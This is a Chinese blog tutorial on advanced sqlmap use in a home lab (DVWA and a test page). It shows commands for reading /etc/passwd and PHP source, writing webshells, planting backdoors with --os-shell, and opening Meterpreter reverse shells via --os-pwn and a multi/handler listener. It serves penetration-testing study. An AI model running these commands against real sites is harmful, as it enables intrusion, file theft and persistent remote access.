SQLMAP不为我所知的技巧

SQLMAP高级技巧

Posted by 看不尽的尘埃 on July 25, 2019

前言

在以前很长的一段时间,我都仅仅使用了SQLMAP验证SQL注入、脱库的功能,最近看到国外的几篇将SQLMAP的文章,才发现SQLMAP可以做更加深入的事情…不愧是SQL注入神器,把SQL注入利用到了极致!本文主要讲解SQLMAP 读写文件、SQLMAP 与MSF 反弹shell。

环境的准备

在以下的过程中,我总共搭建了2个靶机,1台攻击机,为什么准备两个靶机是有原因的,由于Metasploitable2权限问题,导致有一些写入操作无法实现。 靶机:

  • Windows 10 自己写的SQL注入页面
  • Metasploitable2 靶机中的DVWA

攻击机:

  • Kali Linux

    找SQL注入点

    现在假设我们从真实的网站中找到了SQL注入漏洞,我们可以这样做,使用sqlmap -u 参数或者直接保存数据包使用sqlmap -r 参数,如下图所示:

保存HTTP数据包并且命名为DVWA.txt文件,并复制到Kali Linux中: 图片 在Kali Linux攻击机上输入以下命令:

sqlmap -r DVWA.txt

从下图我们可以判断出,该网站存在SQL注入漏洞: 图片

读写文件

常规的脱库,这里就不说了,相信大家都会~,下面讲解一下,通过SQL注入读取php文件源码与系统文件和写入webshell的操作。

前提

在开始下面的步骤前,我们需要先对注入点进行”信息搜集”,搜集当前数据库的用户名、当前数据库用户的权限、网站的绝对路径这些信息。 sqlmap查看当前数据库用户的命令如下:

sqlmap -r DVWA.txt --current-user

从图中我们可以知道当前数据库的用户为root: 图片

sqlmap查看数据库用户权限的命令如下:

sqlmap -r DVWA.txt --privileges

从sqlmap回显回来的内容中搜索,root用户对应的权限,从下图中我们可以看到root用户有file权限: 图片

对于网站绝对路径的获取,网上的方法有很多,这里就不介绍了,主要还是靠人品。假设存在注入点的网站根目录下存在phpinfo.php,从而让我们获取到了网站的绝对路径,如下图所示,玩这个的绝对路径为/var/www。 图片

读文件

当你具备了以上三个条件,就可以尝试读取php源码和系统文件了。 在Kali Linux中输入以下命令,我发现sqlmap提示下载成功,但是打开下载成功的文件,发现是空的或者是一个问好,可能是权限问题吧

sqlmap -r DVWA.txt --file-read="/var/www/dvwa/phpinfo.php"

但是通过以下命令,读取系统文件却是可以的

sqlmap -r DVWA.txt --file-read="/etc/passwd"

图片

后来我在Windows上的SQL注入靶场中尝试了,成功下载了php源码:

sqlmap -u "http://10.20.40.95/sql/sql/get.php?news_id=1" --file-read="E://php//WWW//sql//sql/get.php"

图片

写文件

既然可以读取文件,那么肯定会想到写入文件,那么我们下面就来试一试。 通过输入如下的命令,我们可以写入文件: 注意 –file-write是写入到靶机的绝对路径; –file-dest是物理机webshell存放的绝对路径;

python sqlmap.py -u "http://10.20.40.95/sql/sql/get.php?news_id=1" --file-dest="E://php//WWW//sql//sql/phpinfo.php" --file-write="E://php//WWW//phpinfo.php"

从下图sqlmap的提示信息中,我们可以看到我们成功的写入了webshell,这里以phpinfo.php为例。 图片 打开网站目录确认该文件也确实写入成功! 图片

获取meterpreter shell

难道仅仅只能读写文件嘛?No,下面来通过靶场来演示通过SQL注入获取meterpreter shell;

–os-pwn

当SQL注入点权限高且知道网站绝对路径的情况下,使用sqlmap –os-pwn 选项。 在Kali Linux攻击机中输入以下命令,sqlmap会让我们进行选择设置:

sqlmap -u "http://10.20.40.95/sql/sql/get.php?news_id=1" --os-pwn

如下图所示,这里我们要选择【1】TCP:Metasploit Framework,脚本语言选择【4】PHP 图片 接下来选择【2】custom location输入网站绝对路径,连接的类型选择【1】Reverse TCP:Connect back from the database host to this machine ,再填入攻击机的IP地址和端口,最后选择【2】Shell: 图片 配置完成后,sqlmap会自动运行MSF,等待一分钟左右成功反弹回了Windows 靶机的shell,如下图所示: 图片

–os-shell

sqlmap 还有自动留webshell的操作,我以前都没看提示信息…

sqlmap自动留后门

当SQL注入点权限高且知道网站绝对路径的情况下,使用sqlmap –os-shell 选项。 在Kali Linux攻击机中输入以下命令,sqlmap会让我们进行选择设置:

sqlmap -u "http://10.20.40.95/sql/sql/get.php?news_id=1" --os-shell

–os-shell 在成功获取到交互shell后,会在网站目录下生成2个后门文件,如下图所示: 图片 一个是用来执行系统命令的后门文件: 图片 一个是用来上传文件的后门文件: 图片

使用msfvenom生成一个php木马,复制代码并且保存为shell.php,通过上传接口上传: 图片

在Kali Linux上打开msfconsole并输入以下命令:

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 10.20.30.137
set lport 4444
run

图片

访问shell.php,Kali Linux中成功收到反弹回来的shell,如下图所示: 图片

图片